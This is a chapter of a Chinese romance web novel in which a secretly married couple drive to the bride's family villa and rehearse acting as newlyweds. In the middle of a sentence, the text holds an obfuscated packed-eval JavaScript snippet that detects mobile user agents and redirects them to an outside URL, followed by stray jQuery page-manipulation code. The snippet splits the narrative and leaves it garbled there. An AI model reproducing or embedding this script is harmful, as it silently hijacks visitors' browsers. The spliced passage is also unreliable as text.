和宋阅川约好一起回贺家别墅的当天。
贺霜汀在约定好的见面时间提着打算带回家的礼物下了楼。
刚在小区门口站定,贺霜汀还没来得及摸出手机联系宋阅川,一辆黑色宾利Bentayga稳稳当当停在了她的面前。
前排右侧车窗降下,露出宋阅川的脸:
“等很久了?”
她摇摇头:“没有,也刚到。”
贺霜汀先拉开后座的门,正打算把自己替他准备的见面礼放进去,却发现后座上已经大大小小搁着一排礼品袋,最外侧某橙色袋子上印着的H牌logo大喇喇地出现在她视野里。
只一眼扫过去便知道这一排东西价值不菲。
宋阅川神色如常,没有任何想要邀功的意思,只是示意贺霜汀打开后排中控台的冷藏柜:“咖啡,上次你说你喜欢。”
“谢谢。”
贺霜汀坐上副驾,抿了一口咖啡,感受着坚果和巧克力的风味在舌尖散开后透出带有果香的回甘,透过后视镜,再次看向后座上“排排坐”的礼品。
原本他准备的东西就不少,现在再加上她的,一堆礼品袋“你贴着我我贴着你”地紧靠在一起分享着皮革座椅。
“不是说我来准备吗?”
贺霜汀有些不大好意思:“还让你这么破费。”
“说的这是哪儿的话。”
宋阅川双手握着方向盘,轻笑:“第一次上门拜访岳父岳母,总该是我准备礼物的。只是不知道我挑的礼物合不合你家人的心意。”
岳父岳母。
他叫得属实是自然又流畅。
令贺霜汀微微一怔。
就当是提前习惯一下,免得到时候露马脚吧。
她心想。
车内蔓延着温暖沉郁的木质香,和她手里的咖啡味混合在一起,亲亲密密地将她环抱起来。
离开了冷藏柜,纸杯中的冰块开始逐渐融化,空气在杯壁上凝结成细小的水珠,连成串“骨碌碌”地滚下来,打湿她的指尖。
贺霜汀转头去打量宋阅川,而后不由得一笑。
“怎么了?”宋阅川问道。
“没什么特别的,”贺霜汀摇摇头,“就是发现我们见过的这几次,你好像都穿的是衬衣和西装。”
不论是第一次在教室窗外的遥遥对视,还是领证那天的一丝不苟,亦或是选购戒指那天的矜贵斯文,包括现在,这套西装显然是经过精心打理,面料被熨烫得极其平整,不见一丝褶皱。
配上显然是用定型喷雾认真整理过的发型,显得格外……严阵以待。
除此之外,她还发现了一个意外的巧合:宋阅川的圆形珍珠贝母法式袖口,恰好和她出门前随手挑的珍珠耳坠相呼应。
贺霜汀的视线落到他紧握方向盘的手指上,阳光透过玻璃落进来,在他左手无名指的婚戒上落下一个跳脱的光点。
贺霜汀不自觉地用指尖蹭了蹭自己的那枚钻戒。
等等……上次坐他的车时,他也是这样双手紧握方向盘的吗?
贺霜汀仔细回忆了一番,脑海中忽然冒出一个想法:“宋阅川,你不会是在紧张吧?”
“这么明显?”宋阅川反问,也是承认。
“??”
贺霜汀微微睁大了眼睛:“你居然也会紧张啊。”
在她的印象里,宋阅川经常出现在开学典礼、升旗仪式等学校重要活动上作为优秀学生代表进行发言,其他同学代表班级做国旗下讲话的时候还要捧着稿子念上一念,可宋阅川每次发言时都是空手上台,发言流畅姿态松弛,大家都说他的字典里就像从来没有“紧张”这两个字似的。
当初那个当着两千多号师生讲话的时候都看不出紧张的人,现在居然跟她说“他紧张”?
“当然会,”宋阅川好笑地侧头瞧她一眼,“我也是个有七情六欲的普通人。”
贺霜汀正要想要安慰他说没关系、她家里人其实还是很好相处的,就听见宋阅川紧接着的下一句:“况且,目前的情况是,我连招呼都没同长辈们打一声,就把人家的宝贝女儿娶走了。怎么听都像是法制节目或是社会新闻上常见的故事开头吧?”
贺霜汀:“……”
是哦,忘了这茬了。
有“瞒着家里闪婚领证”这个大前提在,饶是宋阅川这样的人,恐怕首次登门拜访时都很难博得女方家长的喜爱吧?
贺霜汀摆摆手,严正声明自己今日的唯一立场:“就算他们难为你,也还有我站在你这边呢。”
“毕竟在这件事上,我和你是‘共犯’。”
共犯。
明明应该是一个严肃的、危险的名词,可偏偏在这样语境里,染上了一种别样的亲近和暧昧。
宋阅川轻笑一声,应道:“好。”
窗外的街景飞速倒退,路上同向的车辆越来越少。
黑色的宾利车头一拐,利落地驶入了云京市寸土寸金的别墅区。
最终在贺霜汀的指挥下,停在了她家前院的空位上。
“咔哒”。
贺霜汀解开安全带,从随身的包里摸出粉饼,打开镜子观察了下,然后又环顾了一圈车内。
妆容,check√
礼物,check√
老公……虽然是假的,但是,check√
她拉开车门下车站定,宋阅川已经先她一步将后排的礼物袋全部提了下来,左右手各拎几个,将他原本斯文笔挺的西装造型染上了几分烟火气。
她满意地点点头——别说,这么看起来,宋阅川还真有点贴心周到好丈夫那味儿。
“之前说好的都记住了吧?”
两人站在别墅门前,贺霜汀拽住他的袖子。
昨天一整天,贺霜汀都在跟宋阅川对“剧本”,连宋阅川在飞机上无法及时回消息的时间里,她都在脑海中不断进行推演,并及时在和宋阅川的对话框中补充新的“台词”。
家里那都是混迹商场的老狐狸,贺霜汀生怕自己哪里有纰漏,被他们看出了端倪。
宋阅川只点了点头,还没来得及应答,贺霜汀便拍了拍他的肩:“我相信你们这种大学霸的记忆能力。”
“如果有超纲的题,咱们就随机应变相互帮衬吧。”
语气听上去像是安抚他,实际上更多的是给自己打气。
贺霜汀觉得自己
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15464786|169811||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
已经尽足了人事,剩下的就只能听天命了。
“好了,走吧。”
贺霜汀单手微微提起裙摆,自顾自地就要上前去开门。
却被宋阅川叫住。
他挑眉:“我们就这样进去?”
贺霜汀一时没有反应过来他的意思:“嗯?还忘带了什么东西吗?”
准备的礼物都在这里了啊。
“我们这样进去,跟来拜访做客的普通朋友有什么区别?”
宋阅川抬手比划了一下他们两人之间的距离。
两人只相隔一级台阶,他伸手便能触碰到她的手臂,既不算太远,但也并不亲密。
倒是恰好符合他们目前的微妙关系。
于是他严谨地“纠正”道:“哦,也可以是比普通朋友关系要再好一点的朋友。”
总之,不像两情相悦刚刚新婚的小夫妻。
他话未说尽,但贺霜汀到底也是演过各种偶像剧和家庭戏的桥段的,思路一点就通。
她向他的位置靠近两步,抬手挽住他的胳膊。
贺霜汀温热的掌心贴在他熨烫平整的西装上,细微的凉意贴着她的皮肤蜿蜒着传过来,使她扣在他手肘处的葱白手指下意识屈起。
“适应一下?”宋阅川偏头垂眸,目光落在她侧脸。
“不用。”贺霜汀摇摇头。
“和平时参加活动的时候感觉差不多。”
她又不是第一次挽“男同事”的胳膊,也没什么好适应的。
宋阅川淡淡“嗯”了声,听不出什么情绪。
“还不走吗?”贺霜汀微微仰头看他。
从这个角度看,宋阅川恰好逆着光。
身后的太阳在他周身投下一圈灿金色的光晕,显得他的眉目轮廓更加深邃。
看过不少剧本,也合作过不少男演员。
可这一刻,贺霜汀的心跳还是不由自主地漏了半拍,脑海中浮出四个字,剑眉星目。
“走。”
宋阅川点点头。
“哦,好。”
贺霜汀回过神,有点不自在地用另一只手蹭蹭鼻尖。
可下一刻,被她环住的手臂忽然从她的肘弯中抽出。
“?”
贺霜汀不解地望看向他的同时,掌心覆上了一阵热意。
掌心相对。
宋阅川修长而又骨节分明的手指按在她的手背上。
一点略有些粗糙的触感落在她细嫩的皮肤上,格外明显。
贺霜汀低头去看。
是他因常年写字而在中指处留下的那一小块薄茧,恰好蹭过她手背正中那根微青色的血管处。
和打针时的微痛不同,他的薄茧只在那里留下了一道细微的痒意。
可贺霜汀却觉得,这阵痒意透过那一小片皮肤,渗进了她的静脉血管,随着血液的循环流动一路攀进心脏里。
宋阅川满意地勾了下唇,眼底有转瞬即逝的笑意。
“这样感觉更像一点。”
他似乎真的是在为她着想,担心贺霜汀的家人太快识破他们编织的粗糙谎言。
“做戏做全套。”
“你说呢?”